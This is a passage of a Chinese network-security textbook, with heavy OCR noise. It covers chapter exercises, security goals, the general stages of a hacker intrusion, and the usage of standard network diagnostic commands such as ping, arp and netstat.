(5) 是 Windows 的 重要 组 成 部 分 , 它 存 放 了 Windows 中 所 有 应 用 程序 和 系 
统 配置 信息 。 

(6) 与 Windows 权限 密切 相关 的 3 个 概念 是 : 和 安全 主体 。 

C) NTFS 权限 的 两 大 要 素 是 : 和 

2. 思考 与 简 答题 


(1) 简 述 操作 系统 的 安全 级 别 。 

(2) Windows 系统 的 安全 配置 有 哪些 方面 ? 
(3) Linux 系统 的 安全 配置 有 哪些 方面 ? 
(4) 简 述 TCSEC。 


3. 上 机 题 


(D 在 Windows 系统 中 , 重 命名 Administrator 账户 ,禁用 Guest 账户 。 
(2) 在 Windows 系统 中 ,通过 新 建 IP 安全 策略 来 关闭 计算 机 中 的 危险 端口 。 
(3) 在 Windows 系统 的 NTFS 分 区 上 ,为 某 个 文件 夹 设置 NTFS 权限 。 
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本 章 学 习 目 标 : 

。 了 解 目前 网 络 的 安全 形式 以 及 网 络 安全 面临 的 威胁 
。 了 解 网 络 安全 的 目标 与 特点 

。 了 解 黑客 攻击 的 步骤 

掌握 常用 的 网 络 命令 

。 掌握 端口 与 漏洞 扫描 工具 以 及 网 络 监听 工具 的 使 用 
。 理解 缓冲 区 溢出 的 攻击 原理 

。 理解 ARP 欺骗 的 原理 

。 理解 DOS 与 DDoS 攻击 的 原理 及 其 防范 

。 掌握 Windows 和 Linux 中 防火 墙 的 配置 

。 理解 入 侵 检测 与 入 侵 防 御 技 术 

。 了 解 计 算 机 病毒 .蠕虫 和 木马 带 来 的 威胁 

。 了 解密 锥 技术 

。 掌握 Windows fe Linux 中 VPN 的 配置 

。 掌握 httptunnel 技术 的 使 用 

。 了 解 无 线 网 络 安全 并 且 会 配置 无 线 网 络 安全 


如 今 的 网 络 用 户 普遍 担心 网 络 钓鱼 、 密 码 资 取 、 在 线 欺诈 以 及 越 来 越 多 病毒 和 木马 等 会 
给 自己 造成 严重 的 损失 。 本 章 将 通过 一 系列 的 实例 介绍 网 络 安全 和 攻防 方面 的 基础 知识 和 
TUR ,帮助 读者 提高 解决 实际 网 络 安全 问题 的 能 力 。 

本 章 介绍 了 端口 与 漏洞 扫描 工具 以 及 网 络 监听 技术 工具 、 缓 冲 区 溢出 攻击 原理 及 其 防 
TE ARP 欺骗 原理 .DOS 与 DDoS 攻击 检测 与 防御 、 防 火 墙 技术 .入侵 检 测 与 人 侵 防御 技术 、 
恶意 软件 、 蜜 钠 技 术 、VPN 技术 .httptunnel 技术 以 及 无 线 网 络 安全 等 内 容 。 


5.1 计算 机 网 络 安全 概述 


2010 Æ 1H 12 日 早上 ,伊朗 黑客 利用 “域名 支持 技术 ”, 从 DNS 服务 器 端 下 手 ,支持 了 
百度 的 域名 ,导致 百度 搜索 网 站 不 能 打开 ,主页 出 现 黑色 ,并 有 伊朗 国旗 和 伊朗 网 军 (iran 
cyber army) 字 样 , 或 者 主页 出 现 “ 网 页 无 法 显示 ”或 “没有 可 以 显示 的 页 面 " 等 字样 。 


tB, 


< 
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当今 网 络 战场 已 经 成 为 国家 间 博 弈 的 舞台 ,各 种 先进 的 技术 层出不穷 ,各 个 国家 都 在 打 
造 一 支 属 于 自己 的 网 络 队伍 ,网 络 战 争 也 进入 了 一 个 很 微妙 的 时 期 。 夺 取 战 争 主动 权 的 ,不 
再 是 子弹 枪 炮 ,而 是 流动 在 网 线 中 的 比特 和 字 节 。 由 于 受 技术 条 件 的 限制 ,很 多 人 对 网 络 安 
全 的 意识 仅 停留 在 如 何 防范 病毒 阶段 ,对 网 络 安全 缺乏 整体 意识 。 比 如 电影 ( 虎 胆 龙 威 4》 
中 所 描述 的 ,一旦 战事 爆发 ,整个 城市 的 交通 灯 、 天 然 气 通信、 电力 都 被 黑客 控制 。 也 许 电 
影 中 描述 得 比较 夸张 ,但 是 谁 又 能 预料 到 随 着 互联 网 的 快速 发 展 , 这 一 切 不 会 变 成 可 能 呢 ? 
未 来 网 络 战 的 趋势 ,将 会 是 通过 系统 漏洞 发 送 病毒 ,破坏 对 方 的 计算 机 系统 ,造成 敌 方 指挥 
系统 次 痪 ,使 其 无 法 正常 工作 。 更 有 甚 者 资 取 机 密 资料 ,向 对 方 发 出 错误 的 作战 引导 信号， 
配合 其 他 形式 的 攻击 ,从 而 达到 最 终 胜利 的 目的 。 

近年 来 ,世界 各 国 的 网 络 部 队 应 运 而 生 ,并 且 人 员 规 模 越 来 越 大 ,这 些 部 队 中 以 美国 以 
色 列 .俄罗斯 的 实力 最 强 , 这 些 国家 的 黑客 几乎 每 小 时 都 在 针对 他 国 的 网 络 发 起 进攻 ,据说 
他 们 所 研究 的 Oday 漏洞 (0day 漏洞 是 已 经 发 现 但 是 官方 还 没 发 布 补丁 的 漏洞 ) 种 类 非常 繁 
多 ,黑客 利用 这 些 0day 漏洞 能 穿 透 任何 操作 系统 ,只 要 发 起 进攻 ,任何 网 络 在 瞬间 就 会 被 他 
们 所 控制 。 

在 被 攻击 的 国家 当中 ,中国 遭受 攻击 的 次 数 也 是 居 世 界 各 国之 首 , 近 几 年 我 国政 府 、 部 
队 的 网 络 频频 被 这 些 国外 网 络 部 队 的 黑客 光顾 ,国家 重要 的 资料 很 轻易 地 就 被 窃取 到 ,让 我 
国 损失 惨重 。 

随 着 互联 网 时 代 的 到 来 , 越 来 越 多 的 企业 增加 了 在 线 的 业务 模式 ,百度 公司 的 客户 其 实 
就 是 典型 的 代表 ,他 们 大 部 分 都 是 通过 网 络 来 吸引 客户 ,一 旦 网 站 被 黑客 入 侵 , 将 会 遭受 惨 
重 的 损失 ,甚至 在 被 黑客 连续 的 攻击 下 无 法 持续 经 营 ,破产 关门 。 


5.1.1 网 络 安全 面临 的 威胁 


互联 网 给 社会 生活 带 来 巨大 变化 给 人 们 带 来 诸多 便利 的 同时 ,也 带 来 了 突出 的 网 络 安 
全 问题 和 社会 问题 ,其 中 主要 的 问题 有 : 

CD. 网 络 黑客 攻击 、 网 络 病毒 等 严重 威胁 网 络 运行 安全 ; 

(2) 网 络 欺 诈 、 网 络 盗窃 等 网 络 犯罪 活动 直接 危害 公共 财产 安全 ; 

(3) 网 络 淫秽 色情 等 有 害 信息 严重 危害 未 成 年 人 身心 健康 。 

这 些 问 题 正 日 益 引 起 社会 各 界 的 关注 不仅 是 我 国 , 而 且 也 成 为 世界 各 国共 同 面临 的 重 
大 问题 。 

计算 机 网 络 所 面临 的 威胁 包括 对 网 络 中 信息 的 威胁 和 对 网 络 中 设备 的 威胁 。 影 响 计算 
机 网 络 的 因素 很 多 ,有 些 因素 可 能 是 有 意 的 ,也 有 可 能 是 无 意 的 ;可 能 是 人 为 的 ,也 可 能 是 非 
人 为 的 ;还 可 能 是 外 来 黑客 对 网 络 系统 资源 的 非法 使 用 等 。 

人 为 的 恶意 攻击 是 计算 机 网 络 面临 的 最 大 威胁 .敌对 方 的 攻击 和 计算 机 犯罪 都 属于 这 
一 类 。 恶 意 攻 击 分 为 以 下 两 种 : 一 种 是 主动 攻击 , 它 以 各 种 方式 有 选择 地 破坏 信息 的 有 效 
性 和 完整 性 ; 另 一 类 是 被 动 攻击 , 它 是 在 不 影响 网 络 正 常 使 用 的 情况 下 ,进行 截获 窃取 、 破 
译 以 获得 重要 机 密 信 息 。 

网 络 软件 的 漏洞 和 后 门 : 网 络 软件 不 可 能 是 毫 无 缺陷 和 没有 漏洞 的 。 这 些 缺 陷 和 漏洞 
恰恰 是 黑客 进行 攻击 的 首选 目标 。 软 件 的 后 门 一 般 是 软件 开发 人 员 为 了 方便 或 者 不 为 人 知 
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的 目的 而 设置 的 ,一 般 外 界 并 不 知晓 ,但 是 一 旦 后 门洞 开 , 该 软件 的 用 户 就 十 分 危险 ,其 后 果 
不 堪 设想 。 


5.1.2 网 络 安全 的 目标 


网 络 安全 的 目标 主要 是 : 系统 的 可 靠 性 ` 可 用 人 性、 保密 性 、 完 整 性 .不 可 抵赖 性 ` 可 控 性 
等 方面 。 


1. 可 靠 性 
可 靠 性 是 网 络 信息 系统 能 够 在 规定 条 件 下 和 规定 的 时 间 内 完成 规定 功能 的 特性 。 
2. 可 用 性 


可 用 性 是 网 络 信息 可 被 授权 实体 访问 并 按 需求 使 用 的 特性 。 即 网 络 信息 服务 在 需要 
时 ,允许 授权 用 户 或 实体 使 用 的 特性 ,或 者 是 网 络 部 分 受 损 或 需要 降级 使 用 时 , 仍 能 为 授权 
用 户 提 供 有 效 服务 的 特性 。 


3. 保密 性 


保密 性 是 网 络 信息 不 被 泄露 给 非 授权 的 用 户 、 实 体 或 过 程 , 或 供 其 利用 的 特性 。 即 防止 
信息 泄露 给 非 授 权 个 人 或 实体 ,信息 只 为 授权 用 户 使 用 的 特性 。 保 密 性 是 在 可 靠 性 和 可 用 
性 基础 之 上 ,保障 网 络 信息 安全 的 重要 手段 。 


4. 完整 性 


完整 性 是 网 络 信息 未 经 授权 不 能 进行 改变 的 特性 。 即 网 络 信息 在 存储 或 传输 过 程 中 保 
持 不 被 偶然 或 蓄意 地 删除 .修改 .伪造 . 乱 序 . 重 放 、 搬 和 人 等 破坏 和 丢失 的 特性 。 完 整 性 是 一 
种 面向 信息 的 安全 性 , 它 要 求 保持 信息 的 原样 , 即 信 息 的 正确 生成 .正确 存储 和 传输 。 

完整 性 与 保密 性 不 同 , 保 密 性 要 求 信息 不 被 泄露 给 未 授权 的 人 ,而 完整 性 则 要 求 信息 不 
致 受到 各 种 原因 的 破坏 。 影 响 网 络 信息 完整 性 的 主要 因素 有 : 设备 故障 、 误 码 (传输 .处 理 
和 存储 过 程 中 产生 的 误 码 ,定时 的 稳定 度 和 精度 降低 造成 的 误 码 ,各 种 干扰 源 造 成 的 误 码 )、 
人 为 攻击 、 计 算 机 病毒 等 。 

保障 网 络 信息 完整 性 的 主要 方法 有 以 下 几 种 。 

(1) 协议 : 通过 各 种 安全 协议 可 以 有 效 地 检测 出 被 复制 的 信息 、 被 删除 的 字段 .失效 的 
字段 和 被 修改 的 字段 。 

(2) 纠 错 编码 方法 : 由 此 完成 检 错 和 纠 错 功能 。 最 简单 和 常用 的 纠 错 编码 方法 是 奇偶 

(3) 密码 校 验 和 方法 : 它 是 抗 自 改 和 传输 失败 的 重要 手段 。 

(4) 数字 签名 : 保障 信息 的 真实 性 。 

(5) 公证 : 请 求 网 络 管理 或 中 介 机 构 证 明 信 息 的 真实 性 。 


5. 不 可 抵赖 性 
不 可 抵赖 性 也 称 为 不 可 和 否认 性 ,在 网 络 信 息 系 统 的 信息 交互 过 程 中 ,确信 参与 者 的 真实 
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同一 性 。 即 所 有 参与 者 都 不 可 能 否认 或 抵赖 曾经 完成 的 操作 和 承诺 。 利 用 信息 源 证 据 可 以 
防止 发 信 方 不 真实 地 否认 已 发 送信 息 ,利用 递交 接收 证 据 可 以 防止 收 信 方 事后 否认 已 经 接 
收 的 信息 。 


6. 可 控 性 


可 控 性 是 对 网 络 信息 的 传播 及 内 容 具 有 控制 能 力 的 特性 。 

概括 地 说 ,网 络 信息 安全 与 保密 的 核心 是 通过 计算 机 、 网 络 .密码 技术 和 安全 技术 ,来 保 
护 在 公用 网 络 信息 系统 中 传输 .交换 和 存储 的 消息 的 保密 性 、 完 整 性 真实 性 .可 靠 性 .可 用 
性 .不 可 抵赖 性 等 。 


5.1.3 网 络 安全 的 特点 


网 络 安全 一 般 具 有 如 下 7 个 特点 。 
1. 网 络 安全 的 涉及 面 广 


从 网 络 安全 所 保护 的 对 象 来 看 ,网 络 安全 包括 : 国家 安全 , 即 如 何 保护 国家 机 密 不 受 网 
络 黑客 的 袭击 而 泄露 ;商业 安全 , 即 如 何 保护 商业 机 密 、 企 业 资 料 不 遭 窃 取 ; 个 人 安全 , 即 如 
何 保护 个 人 隐私 (包括 信用 卡号 码 、 健 康 状况 等 ); 网 络 自 身 安全 , 即 如 何 保证 接 入 网 际 网 络 
的 计算 机 网 络 不 受 病毒 的 侵袭 而 瘫痪 。 


2. 网 络 安全 涉及 的 技术 层面 深 


如 今 ,互联 网 已 经 深入 到 了 社会 生活 的 各 个 角落 。 对 个 人 而 言 ,互联 网 改变 了 人 们 的 生 
活 方式 ;对 企业 而 言 ,互联 网 使 企业 能 够 尝试 新 的 经 营 方式 、 营 销 方式 和 内 部 管理 机 制 ; 对 政 
府 而 言 ,互联 网 可 以 帮助 政府 更 好 地 执行 各 种 政府 职能 ,服务 民众 。 可 以 说 ,网 络 已 经 形成 
了 一 个 跟 现 实 社 会 紧密 相关 的 虚拟 社会 ,大 量 的 信息 流 、 资 金 流 和 物流 都 运行 其 上 ,为 了 实 
现 上 述 功 能 ,网 络 本 身 就 采用 了 众多 的 新 兴 技术 。 此 外 ,黑客 所 采用 的 攻击 手段 和 技术 很 多 
都 是 以 前 没有 发 现 的 全 新 的 系统 漏洞 ,技术 难度 比较 大 。 这 一 切 都 注定 了 网 络 安全 所 涉及 
的 技术 层面 不 得 不 深 。 


3. 网 络 安全 的 黑 盒 性 


网 络 安全 是 一 种 以 防 患 于 未 然 为 主 的 安全 保护 ,这 就 注定 了 网 络 安全 产品 的 功能 有 些 
模糊 ,不 像 其 他 应 用 系统 那样 明确 。 如 一 种 人 侵 检测 系统 到 底 能 够 检测 出 哪些 攻击 ,一 般 用 
户 是 没 法 知道 了 。 因 此 ,对 于 网 络 安全 产品 ,中介 机 构 的 介入 就 非常 关键 。 如 我 国 公 安 部 网 
络 安全 检测 中 心 .国际 上 的 各 种 认证 机 构 ( 如 国际 计算 机 安全 协会 ICSA) 等 中 介 机 构 的 介 
入 ,对 于 安全 产品 的 定位 和 评价 都 很 有 帮助 。 


4. 网 络 安全 的 动态 性 


动态 性 指 的 是 网 络 中 存在 的 各 种 安全 风险 处 于 不 断 的 变化 之 中 。 从 内 因 看 ,网 络 本 身 
就 在 变化 和 发 展 之 中 ,网 络 中 设备 的 更 新 、 操 作 系 统 或 者 应 用 系统 的 升级 、 系 统 设置 的 变化 、 
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xi 


业务 的 变化 等 要 素 都 可 能 导致 新 的 安全 风险 的 出 现 。 从 外 因 看 ,各 种 软 硬 件 系 统 的 安全 漏 
洞 不 断 被 发 现 、 各 种 网 络 攻击 手段 不 断 在 发 展 ,这 些 都 可 能 使 得 今天 还 处 于 相对 安全 状态 的 
网 络 在 明天 就 出 现 了 新 的 安全 风险 。 另 外 ,由 于 国内 外 黑客 和 病毒 方面 的 技术 日 新 月 异 ,而 
新 的 安全 漏洞 也 层出不穷 。 因 此 ,网 络 安全 必须 能 够 紧 跟 网 络 发 展 的 步伐 ,适应 新 兴 的 黑客 
技术 , 唯 有 如 此 才能 够 确保 网 络 的 安全 。 国 际 上 把 这 种 适应 黑客 和 病毒 发 展 技术 的 能 力 , 作 
为 评价 网 络 安全 产品 的 一 个 重要 标准 。 


5. 网 络 安全 的 相对 性 


相对 性 指 的 是 网 络 安全 的 目标 实现 总 是 相对 的 ,由 于 成 本 以 及 实际 业务 需求 的 约束 , 任 
何 网 络 安全 解决 方案 都 不 可 能 解决 网 络 中 所 有 的 网 络 安全 问题 ,百分之百 安全 的 网 络 系统 
是 不 存在 的 ,不 管 网 络 安全 管理 和 安全 技术 实施 多 完善 ,网 络 安全 问题 总 会 在 某 个 情况 下 发 
生 。 网 络 安全 的 这 个 属性 表明 安全 应 急 计 划 .安全 检测 .应急 响 应 和 灾难 恢复 等 都 应 该 是 安 
全 保障 体系 中 的 重要 环节 。 

任何 网 络 安全 产品 的 安全 保证 都 只 能 说 是 提高 网 络 安全 的 水 平 ,而 不 能 杜绝 危害 网 络 
安全 的 所 有 事件 。 因 此 ,现实 中 的 网 络 安全 领域 ,失败 是 常 有 的 事情 ,只 是 起 用 了 网 络 安全 
防护 系统 的 网 络 其 遭 到 攻击 的 可 能 性 低 一 些 , 即 使 章 受 攻击 其 损失 也 小 一 些 而 已 。 不 过 , 随 
着 安全 基础 设施 建设 力度 的 加 大 ,安全 技术 和 安全 意识 的 普及 , 像 网 上 购物 ,电子 交易 等 所 
需要 的 安全 保障 还 是 可 以 达到 民众 可 以 接受 的 安全 水 平 的 。 


6. 网 络 安全 的 整体 性 


整体 性 指 的 是 网 络 安全 是 一 个 整体 的 目标 ,正如 木 桶 的 装 水 容量 取决 于 最 短 的 木 块 一 
FF ,一 个 网 络 系统 的 安全 水 平 也 取决 于 防御 最 薄弱 的 环节 。 因 此 ,均衡 应 该 是 网 络 安全 保障 
体系 的 一 个 重要 原则 ,这 包括 体系 中 安全 管理 和 安全 技术 实施 .体系 中 各 个 安全 环节 、 各 个 
保护 对 象 的 防御 措施 等 方面 的 均衡 ,以 实现 整体 的 网 络 安全 目标 。 


7. 网 络 安全 的 跨国 性 


利用 互联 网 传送 信息 时 ,国界 和 地 理 距 离 暂时 消失 ,这 为 犯罪 分 子 、 钨 怖 分 子 等 跨 地 域 、 
跨国 界 犯罪 提供 了 可 能 。 


5.2 黑客 攻击 简介 


黑客 (Hacker) 是 指 那些 尽 力 挖掘 计算 机 程序 功能 最 大 潜力 的 计算 机 用 户 ,依靠 自己 掌 
握 的 知识 帮助 系统 管理 员 找 出 系统 中 的 漏洞 并 加 以 完善 。 

骇 客 (Cracker) 是 通过 各 黑客 技术 对 目标 系统 进行 攻击 、 入 侵 或 者 做 其 他 一 些 有 害 于 目 
标 系 统 或 网 络 的 事情 。 

今天 “黑客 "和 “了 骇 客 ”的 概念 已 经 被 人 们 混淆 ,一 般 都 用 来 指 代 那些 专门 利用 计算 机 和 
网 络 搞 破坏 或 恶作剧 的 人 。 

无 论 是 “黑客 "还 是 “ 骇 客 ”, 他 们 最 初学 习 的 内 容 都 是 本 部 分 所 涉及 的 内 容 , 而 且 掌握 的 
基本 技能 也 都 是 一 样 的 。 
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黑客 攻击 是 当今 互联 网 安全 的 主要 威胁 。 
5.2.1 黑客 攻击 的 目的 和 手段 


1. 黑客 攻击 的 目的 


不 同 黑 客 进行 攻击 的 目的 也 不 尽 相 同 ,有 的 黑客 是 为 了 窃取 ,修改 或 者 删除 系统 中 的 相 
关 信 息 , 有 的 黑客 是 为 了 显示 自己 的 网 络 技术 ,有 的 黑客 是 为 了 商业 利益 ,而 有 的 黑客 是 出 
于 政治 目的 等 。 


2. 黑客 攻击 的 手段 


黑客 攻击 可 分 为 非 破坏 性 攻击 和 破坏 性 攻击 两 类 。 

非 破坏 性 攻击 一 般 是 为 了 扰乱 系统 的 运行 ,并 不 盗窃 系统 资料 ,通常 采用 拒绝 服务 攻击 
或 信息 炸弹 的 方式 。 

破坏 性 攻击 是 以 侵入 他 人 计算 机 系统 、 盗 窃 系 统 保密 信息 、 破 坏 目标 系统 的 数据 为 
目的 。 

黑客 常用 的 攻击 手段 有 密码 破解 .后门 程 序 、 电 子 邮 件 攻击 、 信 息 炸 弹 、 拒 绝 服 务 、 网 络 
监听 ,利用 网 络 系统 漏洞 进行 攻击 LAE E LIE A XP IE Cookie VEI, WWW 的 欺骗 技术 等 。 


5.2.2 黑客 攻击 的 步骤 
黑客 人 侵 一 个 系统 的 最 终 目标 一 般 是 获得 目标 系统 的 超级 用 户 ( 管 理 员 ) 权 限 , 对 目标 


系统 进行 绝对 控制 ,窃取 其 中 的 机 密 文件 等 重要 信息 。 黑 客人 侵 的 步骤 如 图 5-1 所 示 ,一般 
可 以 分 为 3 个 阶段 : 确定 目标 与 搜集 相关 信息 、 获 得 对 系统 的 访问 权力 和 隐藏 踪迹 。 


m 
新 账号 
niit EL: weg). ( 获得 管理 
目标 


An, 
网 络 信息 员 权 限 截获 信息 


获得 普通 | 攻击 其 他 | 
用 户 权限 


主机 


图 5-1 黑客 人 侵 的 步骤 


1. 确定 目标 与 搜集 相关 信息 


黑客 对 一 个 大 范围 的 网 络 进 行 扫 描 以 确定 潜在 的 入 侵 目标 ,锁定 了 目标 后 ,还 要 检查 要 
被 人 侵 目 标的 开放 端口 ,并 且 进 行 服务 分 析 , 获 取 目 标 系统 提供 的 服务 和 服务 进程 的 类 型 和 
版 本 、 目 标 系统 的 操作 系统 类 型 和 版 本 等 信息 ,看 是 否 存在 能 够 被 利用 的 服务 ,以 寻找 该 主 


机 上 的 安全 漏洞 或 安全 弱点 。 
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2. 获得 对 系统 的 访问 权力 


当 黑 客 探 测 到 了 足够 的 系统 信息 ,对 系统 的 安全 弱点 有 了 了 解 后 就 会 发 动 攻击 ,不 过 黑 
客 会 根据 不 同 的 网 络 结构 不同 的 系统 情况 而 采用 不 同 的 攻击 手段 。 

黑客 利用 找到 的 这 些 安 全 漏洞 或 安全 弱点 ,试图 获取 未 授权 的 访问 权限 ,比如 利用 缓冲 
区 溢出 或 蛮 力 攻击 破解 口令 ,然后 登录 系统 。 然 后 再 利用 目标 系统 的 操作 系统 或 应 用 程序 
的 漏洞 ,试图 提升 在 该 系统 上 的 权限 ,获得 管理 员 权限 。 

黑客 获得 控制 权 之 后 ,不 会 马上 进行 破坏 活动 ,删除 数据 、 涂 改 网 页 等 。 一 般 入 侵 成 功 
后 ,黑客 为 了 能 长 时 间 保 留 和 巩固 他 对 系统 的 控制 权 , 为 了 确保 以 后 能 够 重新 进入 系统 , 黑 
客 会 更 改 某 些 系统 设置 .在 系统 中 置 入 特洛伊 木马 或 其 他 一 些 远 程控 制程 序 。 

黑客 下 一 步 可 能 会 窃取 主机 上 的 软件 资料 、 客 户 名 单 、 财 务 报表 、 信 用 卡号 等 各 种 敏感 
信息 ,也 可 能 什么 都 不 做 ,只 是 把 该 系统 作为 他 存放 黑客 程序 或 资料 的 仓库 ,黑客 也 可 能 会 
利用 这 人 台 已 经 攻陷 的 主机 去 继续 他 下 一 步 的 攻击 ,比如 继续 入 侵 内 部 网 络 ,或 者 将 这 台 主 机 
作为 DDoS 攻击 的 一 员 。 


3. 隐藏 踪迹 


一 般 入 侵 成 功 后 ,黑客 为 了 不 被 管理 员 发 现 ,会 清除 日 志 、 删 除 复制 的 文件 ,隐藏 自己 的 
踪迹 。 日 志 往 往 会 记录 一 些 黑客 攻击 的 蛛丝马迹 ,黑客 会 删除 或 修改 系统 和 应 用 程序 日 志 
中 的 数据 ,或 者 用 假日 志 覆 盖 它 。 


5.2.3 黑客 入 门 


下 面 介 绍 一 些 常 用 的 网 络 命令 : ping. ipconfig/ifconfig, arp, nbtstat, netstat, tracert/ 


traceroute, net ,at , route, nslookup/host,ftp 和 telnet, 
1. ping 


ping 是 个 使 用 频率 极 高 的 用 来 检查 网 络 是 否 通畅 或 者 网 络 连接 速度 快慢 的 网 络 命令 ， 
其 目的 就 是 通过 发 送 特定 形式 的 ICMP 包 来 请 求 主 机 的 回应 ,进而 获得 主机 的 一 些 属性 。 
用 于 确定 本 地 主机 是 否 能 与 男 一 台 主 机 交换 (发 送 与 接收 ) 数 据 包 。 如 果 ping 运行 正确 ,就 
可 以 相信 基本 的 连通 性 和 配置 参数 没有 问题 ,大 体 上 可 以 排除 网 络 访问 层 、 网 卡 .Modem 的 
输入 /输出 线路 .电缆 和 路 由 器 等 存在 的 故障 ,从 而 减 小 了 问题 的 范围 。 通 过 ping 命令 ,可 
以 探测 目标 主机 是 否 活动 ,可 以 查询 目标 主机 的 机 器 名 ,还 可 以 配合 arp 命令 查询 目标 主机 
的 MAC 地 址 ,可 以 进行 DDoS 攻击 ,有 时 也 可 以 推断 目标 主机 操作 系统 ,还 可 以 直接 ping 
一 个 域名 来 解析 得 到 该 域名 对 应 的 IP 地 址 。Ping 命令 的 常用 选项 及 其 说 明 见 表 5-1。 

通过 ping 命令 检测 网 络 故障 的 一 个 典型 步骤 如 下 : 

第 1 步 : ping 127.0.0.1。 如 果 不 能 ping 通 ,就 表示 TCP/IP 协议 的 安装 或 运行 存在 
问题 。 
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表 5-1 ping 命令 的 常用 选项 及 其 说 明 
选项 说 明 
-| 指定 TTLCTime To Live) 的 值 ,可 以 通过 TTL 的 值 推算 数据 包 经 过 路 由 器 的 个 数 
-1 | 指定 ping 命令 中 数据 的 长 度 
-n | 执行 ping 命令 的 次 数 (Linux 中 的 相应 参数 是 -c, 其 他 参数 的 用 法 可 以 通过 # man ping 命令 查看 ) 
-t | 连续 对 IP 地 址 执行 ping 命令 ,直到 被 用 户 按 Ctrl 十 C 组 合 键 中 断 


第 2 步 : ping 本 机 IP。 如 果 不 能 ping 通 , 就 表示 本 机 网 络 配置 或 安装 存在 问题 。 此 
时 ,局域网 用 户 要 断 开 网 络 连接 ,然后 重新 ping 本 机 IP。 如 果 网 线 断 开 后 能 ping 通 , 就 表 
示 局 域 网 中 的 另 一 台 计 算 机 可 能 配置 了 与 本 机 相同 的 TP 地 址 ,造成 IP 地 址 冲突 。 

第 3 步 : ping 局 域 网 内 其 他 IP。 如 果 不 能 ping 通 , 表 示 子 网 掩 码 的 设置 不 正确 ,或 者 
网 卡 的 配置 有 问题 ,或 者 网 络 连 线 有 问题 。 

第 4 步 : ping 网 关 IP。 如 果 能 ping 通 , 表 示 局 域 网 的 网 关 路 由 器 运行 正常 。 

第 5 步 : ping 远程 IP。 如 果 能 ping 通 , 表 示 默 认 网 关 设 置 正确 。 

第 6 步 : ping localhost, localhost 是 127. 0. 0. 1 的 别名 ,每 台 计 算 机 都 应 该 能 够 将 
localhost 解析 成 127. 0. 0.1。 如 果 不 能 ping 通 ,说明 在 主机 文件 (/etc/hosts) 中 存在 问题 。 

第 7 步 : ping www. baidu. com。 如 果 不 能 ping 通 , 表 示 DNS 服务 器 的 IP 地 址 配置 错 
误 ,或 者 DNS 服务 器 发 生 了 故障 。 


BE ”如果 本 地 计算 机 系统 中 存在 arp 病毒 ,那么 就 不 能 根据 上 面 命令 的 执行 结 
果 进 行 正常 ,合理 的 判断 了 ,此 时 要 先 清除 arp 病毒 。 


2. ipconfig/ifconfig 


执行 ipconfig/all(Linux 的 命令 是 ifconfig -a) ,就 会 看 到 所 有 网 络 配 置 的 基本 信息 ,这 
些 信息 一 般 用 来 检测 手工 配置 TCP/IP 参数 设置 的 正确 性 。 如 果 计 算 机 和 所 在 的 局 域 网 使 
用 了 DHCP( 动 态 主 机 配置 协议 ) ,那么 执行 ipconfig/all, 可 以 了 解 计算 机 是 否 成 功 地 租用 
到 IP 地 址 ,如 果 租 用 到 IP 地 址 , 则 可 以 了 解 IP 地 址 . 子 网 拖 码 和 默认 网 关 等 信息 。 
ipconfig 命令 的 常用 选项 及 其 说 明 见 表 5-2。 
表 5-2 ipconfig 命令 的 常用 选项 及 其 说 明 


选 项 说 明 
ipconfig 不 带 任何 选项 时 ,会 显示 已 经 配置 的 网 络 接口 的 TP 地 址 . 子 网 掩 码 和 默认 网 关 
ipconfig/all 使 用 all 选项 ,会 显示 所 以 网 络 接口 的 详细 网 络 参数 信息 


ipconfig/release 使 用 release 选项 ,会 将 所 有 网 络 接口 租用 的 TP 地 址 归还 给 DHCP 服务 器 


使 用 renew 选项 ,会 与 DHCP 服务 器 取得 联系 ,并 重新 租用 一 个 IP 地 址 ,注意 ， 
大 多 数 情 况 下 网 卡 将 被 重新 赋予 和 以 前 相同 的 IP 地 址 


ipconfig/renew 


3. arp 
arp 命令 用 于 确定 IP 地 址 对 应 的 物理 地 址 ,执行 arp 命令 能 够 查看 本 地 计算 机 arp 高 
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速 缓存 中 的 内 容 , 使 用 arp 命令 可 以 用 手工 方式 输入 静态 的 IP 地 址 /MAC 地 址 对 。 
按照 默认 设置 ,arp 高 速 缓存 中 的 项 目 是 动态 的 ,如 果 arp 高 速 缓存 中 的 动态 项 目 (IP 
地 址 /MAC 地 址 对 ) 在 2 一 10min 内 没有 使 用 ,那么 就 会 被 自动 删除 。 
如 果 要 查看 局 域 网 中 某 台 计算 机 的 MAC 地 址 ,可 以 先 ping 该 计算 机 的 IP 地 址 ,然后 
通过 arp 命令 查看 高 速 缓存 。arp 命令 的 常用 选项 及 其 说 明 见 表 5-3。 


表 5-3 arp 命令 的 常用 选项 及 其 说 明 


4. 


3k 项 说 明 
arp -a 查看 高 速 缓存 中 的 所 有 项 目 
arp -d IP 地 址 删除 一 个 静态 项 目 
arp -g -a 和 -g 参数 的 结果 是 一 样 的 
arp -s IP 地 址 ”物理 地 址 向 arp 高 速 缓存 中 手工 输入 一 个 静态 项 目 


nbtstat 


使 用 nbtstat 命令 可 以 得 到 远程 主机 的 NetBIOS 信息 ,比如 用 户 名 、 所 属 工作 组 ,MAC 
地 址 等 。 在 此 就 有 必要 了 解 几 个 基本 的 参数 。nbtstat 命令 的 常用 选项 及 其 说 明 见 表 5-4。 


表 5-4 nbtstat 命令 的 常用 选项 及 其 说 明 
说 明 


-a 主机 名 称 | 使 用 这 个 参数 ,就 可 以 得 到 远程 主机 的 NetBIOS 信息 


-A IP 地 址 | 使 用 这 个 参数 ,就 可 以 得 到 远程 主机 的 NetBIOS 信息 


© 


用 于 显示 NetBIOS 名 字 高 速 缓存 的 内 容 , NetBIOS 名 字 高 速 缓存 用 于 存放 与 本 计算 机 
最 近 进 行 通信 的 其 他 计算 机 的 名 字 和 IP 地 址 对 


-n 


列 出 本 地 计算 机 的 NetBIOS 信息 ,可 以 得 到 本 机 所 在 的 工作 组 .计算 机 名 及 网 卡 地 址 等 


s 


显示 使 用 本 机 TP 地 址 的 另 一 台 计 算 机 的 NetBIOS 连接 表 


5. netstat 


netstat 是 一 个 功能 强大 的 网 络 命 令 , 用 来 显示 计算 机 上 网 时 与 其 他 计算 机 之 间 详 细 的 
连接 情况 和 统计 信息 (与 IP.TCP.UDP AI ICMP 协议 相关 的 统计 数据 )。netstat 命令 一 般 
用 来 检测 本 机 各 端口 的 网 络 连 接 情况 。netstat 命令 的 常用 选项 及 其 说 明 见 表 5-5。 


表 5-5 netstat 命令 的 常用 选项 及 其 说 明 


选 项 说 明 
运行 netstat -a 命令 将 显示 本 机 上 网 时 与 其 他 计算 机 之 间 的 所 有 连接 和 监听 端口 ,包括 已 建 
